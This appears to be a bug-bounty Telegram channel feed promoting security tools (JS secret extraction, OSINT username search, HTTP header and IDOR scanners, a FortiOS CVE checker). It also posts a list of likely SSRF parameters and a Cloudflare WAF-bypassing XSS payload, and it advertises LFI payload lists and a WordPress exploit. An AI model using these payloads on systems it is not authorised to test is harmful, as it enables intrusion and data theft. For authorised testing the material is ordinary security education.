JSNinja - "Hunting Bugs in JavaScript!"

💬
JSNinja is a powerful tool for extracting URLs and sensitive information from JavaScript files. It's designed for security enthusiasts,BugHunters and developers.

📊 Features:
➕ Extract URLs from JavaScript files!
➕ Identify sensitive information such as API keys and tokens!
➕ User-friendly interface!
➕Open Source and actively maintained!

🔼 Installation:

sudo apt update
sudo apt install git python3 python3-pip -y
cd JSNinja
pip3 install -r requirements.txt

💻 Usage:

python3 jsninja.py -u http://example.com/noscript.js --secrets --urls

Command-Line Options:
⚪️ -u or --url: Specify a single JavaScript URL to fetch.
⚪️ --secrets: Look for sensitive information in the JavaScript content.
⚪️ --urls: Extract URLs from the JavaScript content.
⚪️ -o or --output_file: Specify the file to save extracted links (default: extracted_links.txt).

😸 Github

⬇️ Download
🔒 BugCod3

#BugBounty #JS #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

Top 25 server-side request forgery (SSRF) parameters

Here are the top 25 parameters that could be vulnerable to server-side request forgery (SSRF) vulnerability:

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}

Next time you encounter such parameters in an URL, get notice because SSRF is a critical vulnerability that may allow you to:

⚪️ Access services on the loopback interface of the remote server
⚪️ Scan internal network an potentially interact with internal services
⚪️ Read local files on the server using file:// protocol handler
⚪️ Move laterally / pivoting into the internal environment

#SSRF #BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

CloudFlare XSS Bypass!

OnXSS=<Img/Src/OnError=alert(1)>

It's better than our previous <Img Src=OnXSS OnError=alert(1)> because it works where no spaces are allowed.

#XSS #Bypass
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

🦅 Blackbird 🦅

💬
Blackbird is a robust OSINT tool that facilitates rapid searches for user accounts by username or email across a wide array of platforms, enhancing digital investigations. It features WhatsMyName integration, export options in PDF, CSV, and HTTP response formats, and customizable search filters.

🔼 Installation:

cd blackbird
pip install -r requirements.txt

💻 Usage:
Search by username 👤
python blackbird.py --username username1 username2 username3

Search by email 🌐
python blackbird.py --email email1@email.com email2@email.com email3@email.com

Export results to PDF 📂
python blackbird.py --email email1@email.com --pdf

✨ AI:
Blackbird uses AI-powered NER models to improve metadata extraction, identifying key entities for faster and more accurate insights.
python blackbird.py --username username1 --ai

😸 Github

⬇️ Download
🔒 BugCod3

#Python #Osint #Tools
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

javanoscript How to extract urls,srcs and hrefs from all HTML elements in any website? Open DevTools and run

urls = []
$$('*').forEach(element => {
  urls.push(element.src)
  urls.push(element.href)
  urls.push(element.url)
}); console.log(...new Set(urls))

#js #extract #urls
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

┌──(BugCod3㉿kali)-[~]
└─$ sudo rm -rf *2024

┌──(BugCod3㉿kali)-[~]
└─$ sudo mkdir 2025

#Notification #NewYear
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

CVE-2024-55591

A Fortinet FortiOS Authentication Bypass Vulnerable Behaviour Detection

💬
Denoscription:
This noscript attempts to create a WebSocket connection at a random URI from a pre-authenticated perspective to the FortiOS management interface, and reviews the response to determine if the instance is vulnerable

Affected Versions:
⚪️ FortiOS 7.0.0 through 7.0.16
⚪️ FortiProxy 7.0.0 through 7.0.19
⚪️ FortiProxy 7.2.0 through 7.2.12

😸 Github

⬇️ Download
🔒 BugCod3

#Python #CVE #Vulnerable #Detection
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

HExHTTP

💬
HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors.

📊 Features:
⚪️ Server Error response checking
⚪️ Localhost header response analysis
⚪️ Vhosts checking
⚪️ Methods response analysis
⚪️ HTTP Version analysis [Experimental]
⚪️ Cache Poisoning DoS (CPDoS) techniques
⚪️ Web cache poisoning
⚪️ Range poisoning/error (416 response error) [Experimental]
⚪️ Cookie Reflection
⚪️ CDN/proxies Analysis (Envoy/Apache/Akamai/Nginx) [IP]

🔼 Installation:

pip install -r requirements.txt
./hexhttp.py -u 'https://target.tld/'
# OR
python3 hexhttp.py -u 'https://target.tld/'

💻 Usage:

./hexhttp.py -h
# Usage: hexhttp.py [-h] [-u URL] [-f URL_FILE] [-H CUSTOM_HEADER] [-A USER_AGENT] [-F] [-a AUTH] [-b]

😸 Github

⬇️ Download
🔒 BugCod3

#Python #HTTP #Headers #Analyze
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

IDOR-Forge

IDOR Forge is an advanced and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications.

💬 Denoscription:
IDOR Forge is a powerful and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. IDOR vulnerabilities occur when an application exposes direct references to internal objects (e.g., database keys, file paths) without proper authorization checks, allowing attackers to access unauthorized data. This tool automates the process of identifying such vulnerabilities by dynamically generating and testing payloads, analyzing responses, and reporting potential issues.

📊 Features:
⚪️ Dynamic Payload Generation
⚪️ Multi-Parameter Scanning
⚪️ Support for Multiple HTTP Methods
⚪️ Concurrent Scanning
⚪️ Rate Limiting Detection
⚪️ Customizable Test Values
⚪️ Sensitive Data Detection
⚪️ Proxy Support
⚪️ Interactive GUI Mode
⚪️ Verbose Mode
⚪️ Output Options
⚪️ Custom Headers
⚪️ Session Handling

🔼 Installation:

pip install -r requirements.txt
python IDOR-Forge.py

💻 Usage:

# CLI Basic Usage

python IDOR-Forge.py -u "https://example.com/api/resource?id=1"

# Advanced Usage

python IDOR-Forge.py -u "https://example.com/api/resource?id=1" -p -m GET --proxy "http://127.0.0.1:8080" -v -o results.csv --output-format csv

python IDOR-Forge.py -u http://example.com/resource?id=1 -p -m GET --output results.csv --output-format csv --test-values [100,200,300] --sensitive-keywords ["password", "email"]

🖼 Interactive GUI Mode:

python idor_hunter.py --interactive

😸 Github

⬇️ Download
🔒 BugCod3

#Python #Idor #Vulnerability #Tools
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

🎯 Directory-Traversal-Payloads 🎯

List of Directory Traversal/LFI Payloads Scraped from the Internet

😸 Github

⬇️ Download
🔒 BugCod3

#Payload #Directory
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

WordPress A/B Image Optimizer 3.3 Plugin Arbitrary File Download Vulnerability

📊 Category: web applications

💻 Platform: php

🪖 Risk: Security Risk High 🚨

💬
WordPress Plugin A/B Image Optimizer plugin versions 3.3 and below suffers from an arbitrary file download vulnerability.

🔥 CVE: CVE-2025-25163

⬇️ Download
🔒 BugCod3

#CVE #Exploit #PHP #WordPress
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3